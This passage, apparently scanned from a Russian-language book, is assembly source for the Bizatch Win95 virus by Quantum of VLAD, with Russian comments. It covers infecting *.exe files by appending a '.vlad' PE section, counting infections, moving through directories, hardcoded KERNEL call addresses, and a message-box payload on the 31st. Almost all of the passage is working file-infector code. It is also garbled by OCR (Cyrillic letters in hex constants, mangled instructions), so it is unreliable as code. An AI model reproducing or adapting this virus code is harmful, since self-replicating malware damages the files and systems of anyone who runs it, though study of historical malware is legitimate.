sub eax.ebx
add eax,5
[Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
[Запишем РЕ-заголовок и таблицу объектов в файл
push О
lea eax, [ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
[Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
[Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push О
push О
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;3апишем тело вируса в новый объект
push О
lea eax,[ebp+offset bytesread]
push eax
push vend-vstart
lea eax, [ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
[Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
[Переход к следующему файлу
findnextone:
[Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
.Если файл найден, переходим к заражению
or eax.eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
хог еах.еах
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdirl]
mov ecx.256/4
rep stosd
Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
.Сменим директорию на "."
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdirl]
push edi
push 255
call GetCurDir
Проверим, корневая ли это директория. Если да, то выходим
mov есх.256/4
rep cmpsd
jnz infectdir
;"3аметаем следы" и выходим в программу-носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
Проверим число. Если это 31-ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
.Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax, [ebp+offset boxtitle]
push eax
lea eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
; Выход в программу-носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h
;3начения KERNEL, известные нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh
;Чтение текущей директории
GetCurDir:
;3апишем в стек значение для получения текущей
директории и вызовем KERNEL
push OBFF77744h
jmp [ebp+offset kern]
.Установка текущей директории
SetCurDir:
;3апишем в стек значение для установки текущей
директории и вызовем KERNEL
push OBFF7771Dh
jmp [ebp+offset kern]
[Получение времени и даты
GetTime:
Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz gettimekern2
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
push OBFF9DOB6h
jmp [ebp+offset kern]
gettimekern2:
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
push OBFF9D-l4Eh
jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
.Запишем в стек значение для вывода сообщения и вызовем KERNEL
push OBFF638D9h
jmp [ebp+offset kern]
.Поиск первого файла
FindFile:
;3апишем в стек значение для поиска первого файла
;и вызовем KERNEL
push OBFF77893h
jmp [ebp+offset kern]
; Поиск следующего файла
FindNext:
;3апишем в стек значение для поиска
[следующего файла и вызовем KERNEL
push OBFF778CBh
jmp [ebp+offset kern]
[Открытие/создание файла
CreateFile:
;3апишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push OBFF77817h
jmp [ebp+offset kern]
[Установка указателя чтения/записи
SetFilePointer:
;3апишем в стек значение для установки
.указателя чтения/записи файла и вызовем KERNEL
push OBFF76FAOh
jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;3апишем в стек значение для чтения из файла и вызовем KERNEL
push OBFF75806h
jmp [ebp+offset kern]
;3апись в файл
WriteFile:
;3апишем в стек значение для записи в файл и вызовем KERNEL
push OBFF7580Dh
jmp [ebp+offset kern]
;3акрытие файла
CloseFile:
;3апишем в стек значение для закрытия файла и вызовем KERNEL
push OBFF7BC72h
jmp [ebp+offset kern]
;Счетчик заражений
countinfect db 0
Используется для поиска файлов
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31-го числа
boxtitle db "Bizatch by Quantum / VLAD",0
.-Сообщение, выводимое 31-го числа
boxmsg db "The taste of fame just got tastier!",Odh
db "VLAD Australia does it again with the world"s first Win95 Virus"
db Odh.Odh
db 9."From the old school to the new. ".Odh.Odh
db 9,"Metabolis",Odh
db 9,"Qark",Odh
db 9,"Darkman",Odh
db 9,"Quantum",Odh
db 9,"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db "written by Quantum of VLAD",0
Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)
Используется для смены директории
dotdot db ".",0
Используется для получения времени/даты
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
;Индекс для поиска файлов
searchhandle dd О
;Маска для поиска
fname db "*.exe",0
; Описатель открытого файла
ahand dd О
;Смещение РЕ-заголовка в файле
peheaderoffset dd О
[Смещение таблицы объектов
ObjectTableoffset dd О
[Количество записанных/считанных байт при работе с файлом
bytesread dd О
.Новый объект
newobject:
oname db ".vlad",0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,OCOh
Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов
vend:
db -lOOOh dup (0)
ends
end vstart